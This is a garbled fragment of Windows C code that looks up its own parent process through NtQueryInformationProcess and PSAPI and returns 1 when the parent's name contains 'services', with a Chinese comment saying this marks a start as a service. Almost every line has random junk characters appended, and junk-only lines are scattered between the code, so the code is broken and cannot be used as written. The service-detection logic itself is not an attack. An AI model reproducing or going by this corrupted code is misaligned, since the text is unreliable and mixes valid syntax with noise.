} PROCESS_BASIC_INFORMATION; B?gFFU61
C{<H)?]*BF
PROCNTQSIP NtQueryInformationProcess; \8<ZPqt9
b2r]>*Vc
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *,FU*zi
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "p@EY|Zv%I
nRHxbE}::
HANDLE hProcess; t6C2DHh7$
PROCESS_BASIC_INFORMATION pbi; 1DRih>+#
AW<"3 !@
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); % B^BN|r
if(NULL == hInst ) return 0; F%ffnEJg
1=L5=uz1d:
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $<da<}b
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M/a40uK
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `UD,ne
93VbB[w~7F
if (!NtQueryInformationProcess) return 0; =1r!'<"h
(jp!q,)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fNk0&M
if(!hProcess) return 0; OB4nE}NO
7U1^=Y@t}
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1:;S6{oQ
NCa3")k
CloseHandle(hProcess); 34F;mr"yp
92(P~Sdv
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =/e$Rp
if(hProcess==NULL) return 0; Am@:<J
%?X6TAtH
HMODULE hMod; p#0L@!,
char procName[255]; ;DgQ8"f
unsigned long cbNeeded; VOSq%hB
m*'hHt
n
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {|B
2$1':
25Uw\rKeO
CloseHandle(hProcess); ^AF~k#R
yu}yON
if(strstr(procName,"services")) return 1; // 以服务启动 -&E